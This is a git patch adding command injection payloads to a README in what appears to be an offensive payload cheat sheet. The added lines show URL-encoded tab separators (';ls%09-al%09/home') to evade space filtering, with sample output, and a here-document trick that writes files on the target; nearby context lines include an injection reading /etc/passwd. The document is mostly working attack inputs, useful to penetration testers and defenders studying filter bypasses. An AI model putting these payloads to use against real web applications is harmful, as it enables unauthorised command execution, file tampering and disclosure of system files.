From 171a6f2b21287317f96a3a71f80315da7b10d89e Mon Sep 17 00:00:00 2001
From: int0x80 <int0x80@localhost.localdomain>
Date: Fri, 14 Jan 2022 18:39:52 -0600
Subject: [PATCH] Command Injection space alternatives

---
 Command Injection/README.md | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/Command Injection/README.md b/Command Injection/README.md
index a4e0d0b..9df048a 100644
--- a/Command Injection/README.md	
+++ b/Command Injection/README.md	
@@ -96,6 +96,16 @@ Commands execution without spaces, $ or { } - Linux (Bash only)
 IFS=,;`cat<<<uname,-a`
 ```
 
+Tabs work as separators in web apps where spaces are removed.
+
+```powershell
+;ls%09-al%09/home
+drwxr-xr-x  4 root root  4096 Jan 10 13:34 .
+drwxr-xr-x 18 root root  4096 Jan 10 13:33 ..
+drwx------  2 root root 16384 Jan 10 13:31 lost+found
+drwxr-xr-x  4 test test  4096 Jan 13 08:30 test
+```
+
 Works on Windows only.
 
 ```powershell
@@ -109,6 +119,14 @@ ping%PROGRAMFILES:~10,-5%IP
 something%0Acat%20/etc/passwd
 ```
 
+You can also write files.
+
+```powershell
+;cat>/tmp/hi<<EOF%0ahello%0aEOF
+;cat</tmp/hi
+hello
+```
+
 ### Bypass characters filter via hex encoding
 
 Linux